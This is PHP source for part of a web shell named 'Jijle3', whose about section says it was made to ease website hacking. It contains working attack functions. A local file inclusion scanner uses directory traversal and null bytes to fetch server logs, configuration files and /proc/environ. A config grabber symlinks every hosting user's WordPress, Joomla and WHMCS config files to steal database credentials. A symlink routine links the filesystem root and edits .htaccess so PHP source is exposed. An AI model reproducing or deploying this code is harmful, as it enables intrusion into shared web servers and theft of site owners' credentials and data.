   <h3>Led-Zeppelin\'s LFI File dumper</h3> 

   <form method="post" action="?"><input type="hidden" name="a" value="lfiscan"> 
      LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype"> 
         <option value="1"> 
            Access Log 
         </option> 

         <option value="2"> 
            httpd.conf 
         </option> 

         <option value="3"> 
            Error Log 
         </option> 
         <option value="4"> 
            php.ini 
         </option> 
         <option value="5"> 
            MySQL 
         </option> 
         <option value="6"> 
            FTP 
         </option> 
         <option value="7"> 
            Environ 
         </option> 
      </select> Null: <select name="null"> 
         <option value="%00"> 
            Yes 
         </option> 

         <option value=""> 
            No 
         </option> 
      </select> User-Agent: <input type="text" size="20" name="custom_header" value=""> 
   </form>'; 
   error_reporting(0); 
      if($_POST['lfiurl']) { 
         print "<pre>"; 
         $cheader = $_POST['custom_header']; 
         $target = $_POST['lfiurl']; 
         $type = $_POST['scantype']; 
         $byte1 = $_POST['null']; 
         $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1.""; 
         $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1.""; 
         $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1.""; 
         $lfiaccess = array( 
            1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."", 
            2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."", 
            3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."", 
            4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."", 
            5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."", 
            6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."", 
            7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."", 
            8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."", 
            9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."", 
            10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."", 
            11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."", 
            12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."", 
            13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."", 
            14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."", 
            15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."", 
            16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."", 
            17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."", 
            18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."", 
            19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."", 
            20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."", 
            21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."", 
            22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."", 
            23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1.""); 

         $lfierror = array( 
            1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."", 
            2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."", 
            3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."", 
            4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."", 
            5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."", 
            6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."", 
            7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."", 
            8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."", 
            9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."", 
            10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."", 
            11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."", 
            12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."", 
            13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."", 
            14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."", 
            15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."", 
            16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."", 
            17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."", 
            18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."", 
            19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."", 
            20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."", 
            21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."", 
            22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."", 
            23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1.""); 

         $lficonfig = array( 
            1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."", 
            2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."", 
            3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."", 
            4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."", 
            5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."", 
            6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."", 
            7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."", 
            8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."", 
            9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."", 
            10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."", 
            11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."", 
            12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."", 
            13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."", 
            14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."", 
            15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."", 
            16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."", 
            17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."", 
            18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."", 
            19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."", 
            20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."", 
            21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."", 
            22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."", 
            23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."", 
            24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."", 
            25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."", 
            26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."", 
            27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."", 
            28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."", 
            29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."", 
            30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."", 
            31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."", 
            32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."", 
            33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."", 
            34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."", 
            35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1.""); 

          $lfiphpini = array( 
            1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."", 
            2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."", 
            3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."", 
            4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."", 
            5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."", 
            6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."", 
            7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."", 
            8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."", 
            9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."", 
            10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."", 
            11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."", 
            12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."", 
            13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."", 
            14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."", 
            15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."", 
            16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."", 
            17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."", 
            18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."", 
            19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."", 
            20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."", 
            21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."", 
            22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."", 
            23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."", 
            24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."", 
            25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."", 
            26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."", 
            27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1.""); 

          $lfimysql = array( 
            1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."", 
            2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."", 
            3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."", 
            4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."", 
            5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."", 
            6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."", 
            7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."", 
            8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."", 
            9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."", 
            10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1.""); 

          $lfiftp = array( 
            1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."", 
            2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."", 
            3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."", 
            4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."", 
            5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."", 
            6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."", 
            7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."", 
            8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."", 
            9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."", 
            10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."", 
            11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."", 
            12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."", 
            13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."", 
            14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."", 
            15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."", 
            16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."", 
            17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."", 
            18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."", 
            19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."", 
            20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."", 
            21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."", 
            22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."", 
            23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."", 
            24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."", 
            25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."", 
            26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."", 
            27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."", 
            28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."", 
            29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."", 
            30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."", 
            31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."", 
            32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."", 
            33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."", 
            34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."", 
            35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."", 
            36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."", 
            37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."", 
            38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."", 
            39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."", 
            40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."", 
            41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."", 
            42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."", 
            43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."", 
            44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1.""); 


         $x = 1; 
         if ( $type == 1 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfiaccess[$x]) { 
                $res3 = FetchURL($target.$lfiaccess[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 2 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lficonfig[$x]) { 
                $res3 = FetchURL($target.$lficonfig[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 3 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfierror[$x]) { 
                $res3 = FetchURL($target.$lfierror[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 4 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfiphpini[$x]) { 
                $res3 = FetchURL($target.$lfiphpini[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 5 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfimysql[$x]) { 
                $res3 = FetchURL($target.$lfimysql[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 6 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfiftp[$x]) { 
                $res3 = FetchURL($target.$lfiftp[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
if ( $type == 7 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";{ 
                $res3 = FetchURL($target.$lfiprocenv); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br  />"; 
                } 
                else { 
                              print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />"; 
                } 
      } 
      } 
         } 
      } 
wsoFooter(); 
} 

######################  Config Grabber ###################### 
function actionconfig() { 
wsoHeader(); 

echo "<center> 
<h1>Config Grabber</h1> 
"; 
?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="white" size="2pt">Put /etc/passwd</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd');  
?> 
</textarea><br><br><input name="config" class='inputzbut' size="100" value="Get The Configs !" type="submit"><br><input type="hidden" name="a" value="config"></form></center><br> 
<?php }if ($_POST['config']) { 
$function = $functions=@ini_get("disable_functions"); 
if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('phdz-config', 0755);@chdir('phdz-config'); 
$htaccess=" 
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI 
Options Indexes FollowSymLinks 
ForceType text/plain 
AddType text/plain .php  
AddType text/plain .html 
AddType text/html .shtml 
AddType txt .php 
AddHandler server-parsed .php 
AddHandler txt .php 
AddHandler txt .html 
AddHandler txt .shtml 
Options All 
Options All"; 
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("
",$passwd);echo "<br><br><center><font>Bism Allah</center><br>"; 
foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');} 
echo '<b class="cone"><font><b>Configs Link : </b> <a target="_blank" href="phdz-config">[ Configs ]</a></font></b>';} 
wsoFooter();} 
###################### About                 ############################ 
function actionabout() { 
wsoHeader(); 
echo' 
<center> 
<h1>[ About ]</h1> 
<br /><br /> 
</form> 
'; 
?><head> 
<span class="style1"><font size="3" color="#FFFFFF" face="Adobe Heiti Std R"></font>                    <div style='font-family: Courier New; font-size: 10px;'><font color='white' class=txt ><pre> 
     _   _     _   _          _____    ____    _   _   ____   
    | | (_)   (_) | |   ___  |___ /   |  _ \  | | | | |  _ \  
 _  | | | |   | | | |  / _ \   |_ \   | |_) | | |_| | | |_) | 
| |_| | | |   | | | | |  __/  ___) |  |  __/  |  _  | |  __/  
 \___/  |_|  _/ | |_|  \___| |____/   |_|     |_| |_| |_|     
            |__/                                              
 ____    _              _   _  
/ ___|  | |__     ___  | | | | 
\___ \  | '_ \   / _ \ | | | | 
 ___) | | | | | |  __/ | | | | 
|____/  |_| |_|  \___| |_| |_| 
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><p> 
<pre> 
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&amp;width&amp;height=62&amp;colorscheme=light&amp;show_faces=false&amp;header=true&amp;stream=false&amp;show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre> 
<p><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p> 
Jijle3 PHP Web Shell Created To Make Web Site Hacking More Easy ..<br><br> And To Gev You Some Normal Tools ! With WSO Theme<br><br> iF You Want Me To Add A Notther Tools in Secend Virsion Mail Me in My E-mail Bellow Or in My Facebook Page  !<br><br></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p> 
<div style='font-family: Courier New; font-size: 10px;'><font size='2' class=txt ><pre> 
Coded By Phenomene Dz <br>Algeria - Jijel<br>Finished in 2015/02/03<br>My Email - [email protected] -<br>Youtube Channel <a href="http://www.youtube.com/DZPH/" target="_blank">YouTube</a><br><br>All Right Reserved (C)  Phenomene Dz - Martyrs Crew 2015 
<font size="13" face="Adobe Heiti Std R" color="red"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p> 
[ Thanks To ] <br><br>Abod Hack - Red Ck - Ghost1145 - Prodigy Tn - EL Moj4hid - Ghost dz - L'Apoca Dz - Mr Dz Gang <br><br> Sy3i4n K!lle3 - Red Hell Sofyan  - Algeriano - Hero Dz - Cesc Dz - X Zone - K2ll33d - Almokawim <br><br> Martyrs Team - Algerian To The Core - 1337day Community Algeria - Fallaga Team <br><br> AnonGhost Team - Dz Team - Anonymous Dz - Backup Sec Dz <br><br> Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com - dz-root.com - is-sec.com   <br><br> And All My Freinds - All Muslims Hackers - All Algerian Hackers <font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p> 
<? 
wsoFooter(); }
###################### Symlink Server      ############################ 
function actionsymserver() { 
wsoHeader(); 
echo'<center><h1>Symlink Server</h1><br>'; 
@set_time_limit(0); 
echo "<center>"; 

@mkdir('phdz-symserver',0777); 
$htaccess  = "Options all 
 DirectoryIndex readme.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any"; 
$write =@fopen ('phdz-symserver/.htaccess','w'); 
fwrite($write ,$htaccess); 
@symlink('/','phdz-symserver/root'); 
$filelocation = basename(__FILE__); 
$read_named_conf = @file('/etc/named.conf'); 
if(!$read_named_conf) 
{ 
echo "<pre class=ml1 style='margin-top:5px'>[ /etc/named.conf ] ==> Not Writeable !</pre></center>";  
} 
else 
{ 
echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>"; 
foreach($read_named_conf as $subject){ 
if(eregi('zone',$subject)){ 
preg_match_all('#zone "(.*)"#',$subject,$string); 
flush(); 
if(strlen(trim($string[1][0])) >2){ 
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); 
$name = $UID['name'] ; 
@symlink('/','sym/root'); 
$name   = $string[1][0]; 
$iran   = '\.ir'; 
$israel = '\.il'; 
$indo   = '\.id'; 
$sg12   = '\.sg'; 
$edu    = '\.edu'; 
